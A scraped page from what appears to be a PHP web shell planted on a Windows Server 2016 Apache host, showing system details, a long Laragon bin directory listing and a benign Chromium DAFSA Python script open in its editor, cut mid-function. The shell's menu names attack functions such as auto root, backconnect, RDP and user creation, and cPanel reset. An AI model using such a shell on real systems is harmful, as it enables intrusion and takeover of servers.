Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
core_perl
[ DIR ]
drwxrwxrwx
vendor_perl
[ DIR ]
drwxrwxrwx
[.exe
70.72
KB
-rwxrwxrwx
addgnupghome
3
KB
-rw-rw-rw-
applygnupgdefaults
2.17
KB
-rw-rw-rw-
arch.exe
35.04
KB
-rwxrwxrwx
astextplain
748
B
-rw-rw-rw-
autopoint
26.41
KB
-rw-rw-rw-
awk.exe
612.76
KB
-rwxrwxrwx
b2sum.exe
54.09
KB
-rwxrwxrwx
backup
7.17
KB
-rw-rw-rw-
base32.exe
40.84
KB
-rwxrwxrwx
base64.exe
40.84
KB
-rwxrwxrwx
basename.exe
34.07
KB
-rwxrwxrwx
basenc.exe
48.34
KB
-rwxrwxrwx
bash.exe
2.16
MB
-rwxrwxrwx
bashbug
6.58
KB
-rw-rw-rw-
bunzip2.exe
90.02
KB
-rwxrwxrwx
bzcat.exe
90.02
KB
-rwxrwxrwx
bzcmp
2.09
KB
-rw-rw-rw-
bzdiff
2.09
KB
-rw-rw-rw-
bzegrep
2.01
KB
-rw-rw-rw-
bzfgrep
2.01
KB
-rw-rw-rw-
bzgrep
2.01
KB
-rw-rw-rw-
bzip2.exe
90.02
KB
-rwxrwxrwx
bzip2recover.exe
14.31
KB
-rwxrwxrwx
bzless
1.27
KB
-rw-rw-rw-
c_rehash
6.59
KB
-rw-rw-rw-
captoinfo.exe
76.5
KB
-rwxrwxrwx
cat.exe
37.81
KB
-rwxrwxrwx
chattr.exe
97.7
KB
-rwxrwxrwx
chcon.exe
58.7
KB
-rwxrwxrwx
chgrp.exe
65.01
KB
-rwxrwxrwx
chmod.exe
57.55
KB
-rwxrwxrwx
chown.exe
67.58
KB
-rwxrwxrwx
chroot.exe
42.63
KB
-rwxrwxrwx
cksum.exe
36.2
KB
-rwxrwxrwx
clear.exe
10.5
KB
-rwxrwxrwx
cmp.exe
47.58
KB
-rwxrwxrwx
column.exe
43.06
KB
-rwxrwxrwx
comm.exe
39.29
KB
-rwxrwxrwx
cp.exe
111.97
KB
-rwxrwxrwx
csplit.exe
109.58
KB
-rwxrwxrwx
cut.exe
44.04
KB
-rwxrwxrwx
cygcheck.exe
933.96
KB
-rwxrwxrwx
cygpath.exe
155.33
KB
-rwxrwxrwx
cygwin-console-helper.exe
306.34
KB
-rwxrwxrwx
d2u.exe
50.1
KB
-rwxrwxrwx
dash.exe
107.13
KB
-rwxrwxrwx
date.exe
117.36
KB
-rwxrwxrwx
dd.exe
88.61
KB
-rwxrwxrwx
df.exe
102.44
KB
-rwxrwxrwx
diff.exe
206.81
KB
-rwxrwxrwx
diff3.exe
61.81
KB
-rwxrwxrwx
dir.exe
145.98
KB
-rwxrwxrwx
dircolors.exe
56.13
KB
-rwxrwxrwx
dirmngr-client.exe
92.7
KB
-rwxrwxrwx
dirmngr.exe
368.09
KB
-rwxrwxrwx
dirname.exe
34.01
KB
-rwxrwxrwx
docx2txt
3.28
KB
-rw-rw-rw-
docx2txt.pl
21.07
KB
-rw-rw-rw-
dos2unix.exe
50.1
KB
-rwxrwxrwx
du.exe
164.46
KB
-rwxrwxrwx
dumpsexp.exe
16.13
KB
-rwxrwxrwx
echo.exe
34.92
KB
-rwxrwxrwx
egrep
28
B
-rw-rw-rw-
env.exe
43.14
KB
-rwxrwxrwx
envsubst.exe
34.4
KB
-rwxrwxrwx
ex.exe
3.3
MB
-rwxrwxrwx
expand.exe
37.77
KB
-rwxrwxrwx
expr.exe
108.52
KB
-rwxrwxrwx
factor.exe
75.67
KB
-rwxrwxrwx
false.exe
32.35
KB
-rwxrwxrwx
fgrep
28
B
-rw-rw-rw-
fido2-assert.exe
31.63
KB
-rwxrwxrwx
fido2-cred.exe
29.8
KB
-rwxrwxrwx
fido2-token.exe
43.73
KB
-rwxrwxrwx
file.exe
23.7
KB
-rwxrwxrwx
find.exe
261.22
KB
-rwxrwxrwx
findssl.sh
4.68
KB
-rw-rw-rw-
fmt.exe
42.31
KB
-rwxrwxrwx
fold.exe
37.31
KB
-rwxrwxrwx
funzip.exe
32.84
KB
-rwxrwxrwx
gawk-5.0.0.exe
612.76
KB
-rwxrwxrwx
gawk.exe
612.76
KB
-rwxrwxrwx
gencat.exe
106.2
KB
-rwxrwxrwx
getconf.exe
104.41
KB
-rwxrwxrwx
getemojis
5.08
KB
-rw-rw-rw-
getfacl.exe
94.59
KB
-rwxrwxrwx
getopt.exe
17.21
KB
-rwxrwxrwx
gettext.exe
34.92
KB
-rwxrwxrwx
gettext.sh
5.07
KB
-rw-rw-rw-
gettextize
41.28
KB
-rw-rw-rw-
git-flow
6.77
KB
-rw-rw-rw-
git-flow-bugfix
24.03
KB
-rw-rw-rw-
git-flow-config
8.42
KB
-rw-rw-rw-
git-flow-feature
24.11
KB
-rw-rw-rw-
git-flow-hotfix
23.7
KB
-rw-rw-rw-
git-flow-init
15.13
KB
-rw-rw-rw-
git-flow-log
2.73
KB
-rw-rw-rw-
git-flow-release
37.06
KB
-rw-rw-rw-
git-flow-support
6.79
KB
-rw-rw-rw-
git-flow-version
2.12
KB
-rw-rw-rw-
gitflow-common
19.37
KB
-rw-rw-rw-
gitflow-shFlags
34.8
KB
-rw-rw-rw-
gkill.exe
35.72
KB
-rwxrwxrwx
gmondump.exe
93.48
KB
-rwxrwxrwx
gpg-agent.exe
364.28
KB
-rwxrwxrwx
gpg-connect-agent.exe
134.12
KB
-rwxrwxrwx
gpg-error.exe
32.03
KB
-rwxrwxrwx
gpg-wks-server.exe
174.28
KB
-rwxrwxrwx
gpg.exe
985
KB
-rwxrwxrwx
gpgconf.exe
137.99
KB
-rwxrwxrwx
gpgparsemail.exe
27.39
KB
-rwxrwxrwx
gpgscm.exe
218.09
KB
-rwxrwxrwx
gpgsm.exe
460.82
KB
-rwxrwxrwx
gpgsplit.exe
62.88
KB
-rwxrwxrwx
gpgtar.exe
126.54
KB
-rwxrwxrwx
gpgv.exe
420.38
KB
-rwxrwxrwx
grep.exe
210.2
KB
-rwxrwxrwx
groups.exe
35.73
KB
-rwxrwxrwx
gunzip
2.29
KB
-rw-rw-rw-
gzexe
6.3
KB
-rw-rw-rw-
gzip.exe
102.58
KB
-rwxrwxrwx
head.exe
44.35
KB
-rwxrwxrwx
hmac256.exe
16.17
KB
-rwxrwxrwx
hostid.exe
32.53
KB
-rwxrwxrwx
hostname.exe
33.1
KB
-rwxrwxrwx
iconv.exe
35.27
KB
-rwxrwxrwx
id.exe
42.93
KB
-rwxrwxrwx
infocmp.exe
53.5
KB
-rwxrwxrwx
infotocap.exe
76.5
KB
-rwxrwxrwx
install.exe
144.97
KB
-rwxrwxrwx
join.exe
50.02
KB
-rwxrwxrwx
kbxutil.exe
144.09
KB
-rwxrwxrwx
kill.exe
118.1
KB
-rwxrwxrwx
ldd.exe
121.37
KB
-rwxrwxrwx
ldh.exe
146.5
KB
-rwxrwxrwx
less.exe
173.75
KB
-rwxrwxrwx
lessecho.exe
11.98
KB
-rwxrwxrwx
lesskey.exe
17.13
KB
-rwxrwxrwx
link.exe
33.03
KB
-rwxrwxrwx
ln.exe
75.27
KB
-rwxrwxrwx
locale.exe
131.97
KB
-rwxrwxrwx
locate.exe
143.8
KB
-rwxrwxrwx
logname.exe
33.06
KB
-rwxrwxrwx
ls.exe
145.98
KB
-rwxrwxrwx
lsattr.exe
96.09
KB
-rwxrwxrwx
mac2unix.exe
50.1
KB
-rwxrwxrwx
md5sum.exe
45.93
KB
-rwxrwxrwx
minidumper.exe
100.13
KB
-rwxrwxrwx
mintheme
12.38
KB
-rw-rw-rw-
mintty.exe
991.91
KB
-rwxrwxrwx
mkdir.exe
69.76
KB
-rwxrwxrwx
mkfifo.exe
35.71
KB
-rwxrwxrwx
mkgroup.exe
126.55
KB
-rwxrwxrwx
mknod.exe
38.81
KB
-rwxrwxrwx
mkpasswd.exe
125.9
KB
-rwxrwxrwx
mktemp.exe
43.16
KB
-rwxrwxrwx
mount.exe
121.09
KB
-rwxrwxrwx
mpicalc.exe
17.69
KB
-rwxrwxrwx
msgattrib.exe
24.61
KB
-rwxrwxrwx
msgcat.exe
23.55
KB
-rwxrwxrwx
msgcmp.exe
24.53
KB
-rwxrwxrwx
msgcomm.exe
23.82
KB
-rwxrwxrwx
msgconv.exe
20.46
KB
-rwxrwxrwx
msgen.exe
20.48
KB
-rwxrwxrwx
msgexec.exe
19.08
KB
-rwxrwxrwx
msgfilter.exe
28.04
KB
-rwxrwxrwx
msgfmt.exe
78.19
KB
-rwxrwxrwx
msggrep.exe
104.85
KB
-rwxrwxrwx
msginit.exe
46.47
KB
-rwxrwxrwx
msgmerge.exe
53.52
KB
-rwxrwxrwx
msgunfmt.exe
32.65
KB
-rwxrwxrwx
msguniq.exe
23.06
KB
-rwxrwxrwx
msys-2.0.dll
3.46
MB
-rw-rw-rw-
msys-apr-1-0.dll
173.35
KB
-rw-rw-rw-
msys-aprutil-1-0.dll
128.24
KB
-rw-rw-rw-
msys-asn1-8.dll
508.54
KB
-rw-rw-rw-
msys-assuan-0.dll
66.43
KB
-rw-rw-rw-
msys-bz2-1.dll
65.7
KB
-rw-rw-rw-
msys-cbor-0.8.dll
48.39
KB
-rw-rw-rw-
msys-com_err-1.dll
9.87
KB
-rw-rw-rw-
msys-crypt-0.dll
39.37
KB
-rw-rw-rw-
msys-crypto-1.1.dll
2.37
MB
-rw-rw-rw-
msys-edit-0.dll
175.37
KB
-rw-rw-rw-
msys-expat-1.dll
168.06
KB
-rw-rw-rw-
msys-ffi-8.dll
16.2
KB
-rw-rw-rw-
msys-fido2-1.dll
146.47
KB
-rw-rw-rw-
msys-gcc_s-seh-1.dll
74.26
KB
-rw-rw-rw-
msys-gcrypt-20.dll
796.8
KB
-rw-rw-rw-
msys-gettextlib-0-21.dll
1.3
MB
-rw-rw-rw-
msys-gettextsrc-0-21.dll
290.07
KB
-rw-rw-rw-
msys-gmp-10.dll
572.07
KB
-rw-rw-rw-
msys-gnutls-30.dll
1.7
MB
-rw-rw-rw-
msys-gpg-error-0.dll
129.06
KB
-rw-rw-rw-
msys-gssapi-3.dll
218.93
KB
-rw-rw-rw-
msys-hcrypto-4.dll
192.3
KB
-rw-rw-rw-
msys-heimbase-1.dll
49.22
KB
-rw-rw-rw-
msys-heimntlm-0.dll
31.49
KB
-rw-rw-rw-
msys-hogweed-6.dll
263.05
KB
-rw-rw-rw-
msys-hx509-5.dll
270.65
KB
-rw-rw-rw-
msys-iconv-2.dll
1.03
MB
-rw-rw-rw-
msys-idn2-0.dll
188.5
KB
-rw-rw-rw-
msys-intl-8.dll
44.82
KB
-rw-rw-rw-
msys-kafs-0.dll
27.91
KB
-rw-rw-rw-
msys-krb5-26.dll
463.02
KB
-rw-rw-rw-
msys-ksba-8.dll
235.48
KB
-rw-rw-rw-
msys-lz4-1.dll
134.29
KB
-rw-rw-rw-
msys-magic-1.dll
154.16
KB
-rw-rw-rw-
msys-mpfr-6.dll
613.22
KB
-rw-rw-rw-
msys-ncursesw6.dll
327.75
KB
-rw-rw-rw-
msys-nettle-8.dll
266.42
KB
-rw-rw-rw-
msys-npth-0.dll
15.69
KB
-rw-rw-rw-
msys-p11-kit-0.dll
1017.07
KB
-rw-rw-rw-
msys-pcre-1.dll
279.49
KB
-rw-rw-rw-
msys-pcre2-8-0.dll
373.96
KB
-rw-rw-rw-
msys-pcre2-posix-3.dll
10.6
KB
-rw-rw-rw-
msys-perl5_36.dll
3.35
MB
-rw-rw-rw-
msys-psl-5.dll
67.77
KB
-rw-rw-rw-
msys-readline8.dll
253.14
KB
-rw-rw-rw-
msys-roken-18.dll
64.53
KB
-rw-rw-rw-
msys-sasl2-3.dll
98.6
KB
-rw-rw-rw-
msys-serf-1-0.dll
97.39
KB
-rw-rw-rw-
msys-smartcols-1.dll
159.86
KB
-rw-rw-rw-
msys-sqlite3-0.dll
1.28
MB
-rw-rw-rw-
msys-ssl-1.1.dll
516.55
KB
-rw-rw-rw-
msys-svn_client-1-0.dll
582.39
KB
-rw-rw-rw-
msys-svn_delta-1-0.dll
106.32
KB
-rw-rw-rw-
msys-svn_diff-1-0.dll
87.5
KB
-rw-rw-rw-
msys-svn_fs-1-0.dll
43.86
KB
-rw-rw-rw-
msys-svn_fs_fs-1-0.dll
298.95
KB
-rw-rw-rw-
msys-svn_fs_util-1-0.dll
12.77
KB
-rw-rw-rw-
msys-svn_fs_x-1-0.dll
290.76
KB
-rw-rw-rw-
msys-svn_ra-1-0.dll
50.27
KB
-rw-rw-rw-
msys-svn_ra_local-1-0.dll
37.99
KB
-rw-rw-rw-
msys-svn_ra_serf-1-0.dll
187.26
KB
-rw-rw-rw-
msys-svn_ra_svn-1-0.dll
122.63
KB
-rw-rw-rw-
msys-svn_repos-1-0.dll
239.62
KB
-rw-rw-rw-
msys-svn_subr-1-0.dll
764.46
KB
-rw-rw-rw-
msys-svn_swig_perl-1-0.dll
41.29
KB
-rw-rw-rw-
msys-svn_wc-1-0.dll
697.66
KB
-rw-rw-rw-
msys-tasn1-6.dll
68.97
KB
-rw-rw-rw-
msys-ticw6.dll
61.04
KB
-rw-rw-rw-
msys-unistring-2.dll
1.73
MB
-rw-rw-rw-
msys-uuid-1.dll
27
KB
-rw-rw-rw-
msys-wind-0.dll
160.61
KB
-rw-rw-rw-
msys-z.dll
86.07
KB
-rw-rw-rw-
mv.exe
119.56
KB
-rwxrwxrwx
nano.exe
355.39
KB
-rwxrwxrwx
nettle-hash.exe
18.03
KB
-rwxrwxrwx
nettle-lfib-stream.exe
10.03
KB
-rwxrwxrwx
nettle-pbkdf2.exe
18.11
KB
-rwxrwxrwx
ngettext.exe
34.95
KB
-rwxrwxrwx
nice.exe
35.67
KB
-rwxrwxrwx
nl.exe
101.62
KB
-rwxrwxrwx
nohup.exe
35.74
KB
-rwxrwxrwx
notepad
635
B
-rw-rw-rw-
nproc.exe
35.8
KB
-rwxrwxrwx
numfmt.exe
60.02
KB
-rwxrwxrwx
od.exe
84.71
KB
-rwxrwxrwx
openssl.exe
661.67
KB
-rwxrwxrwx
p11-kit.exe
31.25
KB
-rwxrwxrwx
passwd.exe
124.37
KB
-rwxrwxrwx
paste.exe
36.71
KB
-rwxrwxrwx
patch.exe
169.93
KB
-rwxrwxrwx
pathchk.exe
34.53
KB
-rwxrwxrwx
perl.exe
14.05
KB
-rwxrwxrwx
perl5.36.0.exe
14.05
KB
-rwxrwxrwx
pinentry-w32.exe
77.14
KB
-rwxrwxrwx
pinentry.exe
77.14
KB
-rwxrwxrwx
pinky.exe
40.13
KB
-rwxrwxrwx
pkcs1-conv.exe
22.91
KB
-rwxrwxrwx
pldd.exe
88.84
KB
-rwxrwxrwx
pluginviewer.exe
17.31
KB
-rwxrwxrwx
pr.exe
71.9
KB
-rwxrwxrwx
printenv.exe
33
KB
-rwxrwxrwx
printf.exe
70.32
KB
-rwxrwxrwx
profiler.exe
198.36
KB
-rwxrwxrwx
ps.exe
110.52
KB
-rwxrwxrwx
psl-make-dafsa
22.25
KB
-rw-rw-rw-
psl.exe
17.16
KB
-rwxrwxrwx
ptx.exe
127.23
KB
-rwxrwxrwx
pwd.exe
35.3
KB
-rwxrwxrwx
readlink.exe
47.35
KB
-rwxrwxrwx
realpath.exe
48.41
KB
-rwxrwxrwx
rebase.exe
880.24
KB
-rwxrwxrwx
rebaseall
6.98
KB
-rw-rw-rw-
recode-sr-latin.exe
16.61
KB
-rwxrwxrwx
regtool.exe
129.72
KB
-rwxrwxrwx
reset.exe
21.5
KB
-rwxrwxrwx
restore
5.86
KB
-rw-rw-rw-
rm.exe
62.32
KB
-rwxrwxrwx
rmdir.exe
60.79
KB
-rwxrwxrwx
rnano.exe
355.39
KB
-rwxrwxrwx
runcon.exe
34
KB
-rwxrwxrwx
rview.exe
3.31
MB
-rwxrwxrwx
rvim.exe
3.31
MB
-rwxrwxrwx
scp.exe
214.28
KB
-rwxrwxrwx
sdiff.exe
53.15
KB
-rwxrwxrwx
sed.exe
171.92
KB
-rwxrwxrwx
seq.exe
66.88
KB
-rwxrwxrwx
setfacl.exe
115.84
KB
-rwxrwxrwx
setmetamode.exe
83.06
KB
-rwxrwxrwx
sexp-conv.exe
29.17
KB
-rwxrwxrwx
sftp.exe
223.69
KB
-rwxrwxrwx
sh.exe
2.16
MB
-rwxrwxrwx
sha1sum.exe
48.93
KB
-rwxrwxrwx
sha224sum.exe
54.93
KB
-rwxrwxrwx
sha256sum.exe
54.93
KB
-rwxrwxrwx
sha384sum.exe
59.93
KB
-rwxrwxrwx
sha512sum.exe
59.93
KB
-rwxrwxrwx
shred.exe
57.14
KB
-rwxrwxrwx
shuf.exe
52.89
KB
-rwxrwxrwx
sleep.exe
35.16
KB
-rwxrwxrwx
sort.exe
107.02
KB
-rwxrwxrwx
split.exe
52.91
KB
-rwxrwxrwx
ssh-add.exe
421.47
KB
-rwxrwxrwx
ssh-agent.exe
392.86
KB
-rwxrwxrwx
ssh-copy-id
12.38
KB
-rw-rw-rw-
ssh-keygen.exe
542.35
KB
-rwxrwxrwx
ssh-keyscan.exe
503.31
KB
-rwxrwxrwx
ssh-pageant.exe
21.11
KB
-rwxrwxrwx
ssh.exe
920.77
KB
-rwxrwxrwx
sshd.exe
974.1
KB
-rwxrwxrwx
ssp.exe
121.02
KB
-rwxrwxrwx
start
246
B
-rw-rw-rw-
stat.exe
94.93
KB
-rwxrwxrwx
stdbuf.exe
67.41
KB
-rwxrwxrwx
strace.exe
469.81
KB
-rwxrwxrwx
stty.exe
88.63
KB
-rwxrwxrwx
sum.exe
41.96
KB
-rwxrwxrwx
sync.exe
33.62
KB
-rwxrwxrwx
tabs.exe
15.5
KB
-rwxrwxrwx
tac.exe
105.21
KB
-rwxrwxrwx
tail.exe
55.29
KB
-rwxrwxrwx
tar.exe
479.2
KB
-rwxrwxrwx
tee.exe
37.88
KB
-rwxrwxrwx
test.exe
68.68
KB
-rwxrwxrwx
tic.exe
76.5
KB
-rwxrwxrwx
tig.exe
646.82
KB
-rwxrwxrwx
timeout.exe
40.77
KB
-rwxrwxrwx
toe.exe
14.5
KB
-rwxrwxrwx
touch.exe
104.94
KB
-rwxrwxrwx
tput.exe
20
KB
-rwxrwxrwx
tr.exe
48.3
KB
-rwxrwxrwx
true.exe
32.35
KB
-rwxrwxrwx
truncate.exe
38.75
KB
-rwxrwxrwx
trust.exe
178.88
KB
-rwxrwxrwx
tset.exe
21.5
KB
-rwxrwxrwx
tsort.exe
47.79
KB
-rwxrwxrwx
tty.exe
32.53
KB
-rwxrwxrwx
tzset.exe
134.34
KB
-rwxrwxrwx
u2d.exe
50.1
KB
-rwxrwxrwx
umount.exe
87.75
KB
-rwxrwxrwx
uname.exe
35.04
KB
-rwxrwxrwx
uncompress
2.29
KB
-rw-rw-rw-
unexpand.exe
38.31
KB
-rwxrwxrwx
uniq.exe
43.96
KB
-rwxrwxrwx
unix2dos.exe
50.1
KB
-rwxrwxrwx
unix2mac.exe
50.1
KB
-rwxrwxrwx
unlink.exe
33.03
KB
-rwxrwxrwx
unzip.exe
169.64
KB
-rwxrwxrwx
unzipsfx.exe
81.21
KB
-rwxrwxrwx
update-ca-trust
1.34
KB
-rw-rw-rw-
updatedb
8.88
KB
-rw-rw-rw-
users.exe
34.26
KB
-rwxrwxrwx
vdir.exe
145.98
KB
-rwxrwxrwx
vi
25
B
-rw-rw-rw-
view.exe
3.31
MB
-rwxrwxrwx
vim.exe
3.31
MB
-rwxrwxrwx
vimdiff.exe
3.31
MB
-rwxrwxrwx
vimtutor
2.1
KB
-rw-rw-rw-
watchgnupg.exe
15.59
KB
-rwxrwxrwx
wc.exe
46.26
KB
-rwxrwxrwx
which.exe
29.82
KB
-rwxrwxrwx
who.exe
68.64
KB
-rwxrwxrwx
whoami.exe
33.09
KB
-rwxrwxrwx
winpty-agent.exe
880.5
KB
-rwxrwxrwx
winpty-debugserver.exe
772.5
KB
-rwxrwxrwx
winpty.dll
811.5
KB
-rw-rw-rw-
winpty.exe
731.5
KB
-rwxrwxrwx
wordpad
635
B
-rw-rw-rw-
xargs.exe
66.76
KB
-rwxrwxrwx
xgettext.exe
281.8
KB
-rwxrwxrwx
xxd.exe
19.04
KB
-rwxrwxrwx
yat2m.exe
31.23
KB
-rwxrwxrwx
yes.exe
33.03
KB
-rwxrwxrwx
zcat
1.94
KB
-rw-rw-rw-
zcmp
1.64
KB
-rw-rw-rw-
zdiff
6.31
KB
-rw-rw-rw-
zegrep
29
B
-rw-rw-rw-
zfgrep
29
B
-rw-rw-rw-
zforce
2.03
KB
-rw-rw-rw-
zgrep
7.92
KB
-rw-rw-rw-
zipgrep
2.88
KB
-rw-rw-rw-
zipinfo.exe
169.64
KB
-rwxrwxrwx
zless
2.15
KB
-rw-rw-rw-
znew
4.47
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : psl-make-dafsa
#!/usr/bin/env python # Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE.chromium file. """ A Deterministic acyclic finite state automaton (DAFSA) is a compact representation of an unordered word list (dictionary). https://en.wikipedia.org/wiki/Deterministic_acyclic_finite_state_automaton This python program converts a list of strings to a byte array in C++. This python program fetches strings and return values from a gperf file and generates a C++ file with a byte array representing graph that can be used as a memory efficient replacement for the perfect hash table. The input strings must consist of printable 7-bit ASCII characters or UTF-8 multibyte sequences. Control characters in the range [0x00-0x1F] are not allowed. The return values must be one digit integers. . In this program a DAFSA is a diamond shaped graph starting at a common source node and ending at a common sink node. All internal nodes contain a label and each word is represented by the labels in one path from the source node to the sink node. The following python represention is used for nodes: Source node: [ children ] Internal node: (label, [ children ]) Sink node: None The graph is first compressed by prefixes like a trie. In the next step suffixes are compressed so that the graph gets diamond shaped. Finally one to one linked nodes are replaced by nodes with the labels joined. The order of the operations is crucial since lookups will be performed starting from the source with no backtracking. Thus a node must have at most one child with a label starting by the same character. The output is also arranged so that all jumps are to increasing addresses, thus forward in memory. The generated output has suffix free decoding so that the sign of leading bits in a link (a reference to a child node) indicate if it has a size of one, two or three bytes and if it is the last outgoing link from the actual node. A node label is terminated by a byte with the leading bit set. The generated byte array can described by the following BNF: <byte> ::= < 8-bit value in range [0x00-0xFF] > <char> ::= < byte in range [0x1F-0x7F] > <end_char> ::= < char + 0x80, byte in range [0x9F-0xFF] > <return value> ::= < value + 0x80, byte in range [0x80-0x8F] > <offset1> ::= < byte in range [0x00-0x3F] > <offset2> ::= < byte in range [0x40-0x5F] > <offset3> ::= < byte in range [0x60-0x7F] > <end_offset1> ::= < byte in range [0x80-0xBF] > <end_offset2> ::= < byte in range [0xC0-0xDF] > <end_offset3> ::= < byte in range [0xE0-0xFF] > <prefix> ::= <char> <label> ::= <end_char> | <char> <label> <end_label> ::= <return_value> | <char> <end_label> <offset> ::= <offset1> | <offset2> <byte> | <offset3> <byte> <byte> <end_offset> ::= <end_offset1> | <end_offset2> <byte> | <end_offset3> <byte> <byte> <offsets> ::= <end_offset> | <offset> <offsets> <source> ::= <offsets> <node> ::= <label> <offsets> | <prefix> <node> | <end_label> <graph> ::= <graph> | <graph> <node> <version> ::= <empty> # The DAFSA was generated in ASCII mode. | < byte value 0x01 > # The DAFSA was generated in UTF-8 mode. <dafsa> ::= <graph> <version> Decoding: <char> -> character <end_char> & 0x7F -> character <return value> & 0x0F -> integer <offset1 & 0x3F> -> integer ((<offset2> & 0x1F>) << 8) + <byte> -> integer ((<offset3> & 0x1F>) << 16) + (<byte> << 8) + <byte> -> integer end_offset1, end_offset2 and and_offset3 are decoded same as offset1, offset2 and offset3 respectively. The first offset in a list of offsets is the distance in bytes between the offset itself and the first child node. Subsequent offsets are the distance between previous child node and next child node. Thus each offset links a node to a child node. The distance is always counted between start addresses, i.e. first byte in decoded offset or first byte in child node. Transcoding of UTF-8 multibyte sequences: The original DAFSA format was limited to 7-bit printable ASCII characters in range [0x20-0xFF], but has been extended to allow UTF-8 multibyte sequences. By transcoding of such characters the new format preserves compatibility with old parsers, so that a DAFSA in the extended format can be used by an old parser without false positives, although strings containing transcoded characters will never match. Since the format is extended rather than being changed, a parser supporting the new format will automatically support data generated in the old format. Transcoding is performed by insertion of a start byte with the special value 0x1F, followed by 2-4 bytes shifted into the range [0x40-0x7F], thus inside the range of printable ASCII. 2-byte: 110nnnnn, 10nnnnnn -> 00011111, 010nnnnn, 01nnnnnn 3-byte: 1110nnnn, 10nnnnnn, 10nnnnnn -> 00011111, 0110nnnn, 01nnnnnn, 01nnnnnn 4-byte: 11110nnn, 10nnnnnn, 10nnnnnn, 10nnnnnn -> 00011111, 01110nnn, 01nnnnnn, 01nnnnnn, 01nnnnnn Example 1: %% aa, 1 a, 2 %% The input is first parsed to a list of words: ["aa1", "a2"] A fully expanded graph is created from the words: source = [node1, node4] node1 = ("a", [node2]) node2 = ("a", [node3]) node3 = ("\x01", [sink]) node4 = ("a", [node5]) node5 = ("\x02", [sink]) sink = None Compression results in the following graph: source = [node1] node1 = ("a", [node2, node3]) node2 = ("\x02", [sink]) node3 = ("a\x01", [sink]) sink = None A C++ representation of the compressed graph is generated: const unsigned char dafsa[7] = { 0x81, 0xE1, 0x02, 0x81, 0x82, 0x61, 0x81, }; The bytes in the generated array has the following meaning: 0: 0x81 <end_offset1> child at position 0 + (0x81 & 0x3F) -> jump to 1 1: 0xE1 <end_char> label character (0xE1 & 0x7F) -> match "a" 2: 0x02 <offset1> child at position 2 + (0x02 & 0x3F) -> jump to 4 3: 0x81 <end_offset1> child at position 4 + (0x81 & 0x3F) -> jump to 5 4: 0x82 <return_value> 0x82 & 0x0F -> return 2 5: 0x61 <char> label character 0x61 -> match "a" 6: 0x81 <return_value> 0x81 & 0x0F -> return 1 Example 2: %% aa, 1 bbb, 2 baa, 1 %% The input is first parsed to a list of words: ["aa1", "bbb2", "baa1"] Compression results in the following graph: source = [node1, node2] node1 = ("b", [node2, node3]) node2 = ("aa\x01", [sink]) node3 = ("bb\x02", [sink]) sink = None A C++ representation of the compressed graph is generated: const unsigned char dafsa[11] = { 0x02, 0x83, 0xE2, 0x02, 0x83, 0x61, 0x61, 0x81, 0x62, 0x62, 0x82, }; The bytes in the generated array has the following meaning: 0: 0x02 <offset1> child at position 0 + (0x02 & 0x3F) -> jump to 2 1: 0x83 <end_offset1> child at position 2 + (0x83 & 0x3F) -> jump to 5 2: 0xE2 <end_char> label character (0xE2 & 0x7F) -> match "b" 3: 0x02 <offset1> child at position 3 + (0x02 & 0x3F) -> jump to 5 4: 0x83 <end_offset1> child at position 5 + (0x83 & 0x3F) -> jump to 8 5: 0x61 <char> label character 0x61 -> match "a" 6: 0x61 <char> label character 0x61 -> match "a" 7: 0x81 <return_value> 0x81 & 0x0F -> return 1 8: 0x62 <char> label character 0x62 -> match "b" 9: 0x62 <char> label character 0x62 -> match "b" 10: 0x82 <return_value> 0x82 & 0x0F -> return 2 """ import sys import os.path import hashlib import locale class InputError(Exception): """Exception raised for errors in the input file.""" # Length of a character starting at a given byte. char_length_table = ( 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, # 0x00-0x0F 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, # 0x10-0x1F 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, # 0x20-0x2F 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, # 0x30-x03F 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, # 0x40-0x4F 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, # 0x50-x05F 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, # 0x60-0x6F 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, # 0x70-x07F 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, # 0x80-0x8F 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, # 0x90-0x9F 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, # 0xA0-0xAF 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, # 0xB0-0xBF 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, # 0xC0-0xCF 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, # 0xD0-0xDF 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, # 0xE0-0xEF 4, 4, 4, 4, 4, 4, 4, 4, 0, 0, 0, 0, 0, 0, 0, 0 ) # 0xF0-0xFF def to_bytes(n): """Converts an integer value to a bytes object.""" return bytes(bytearray((n,))) def to_dafsa(words, utf_mode): """Generates a DAFSA from a word list and returns the source node. Each word is split into characters so that each character is represented by a unique node. It is assumed the word list is not empty. 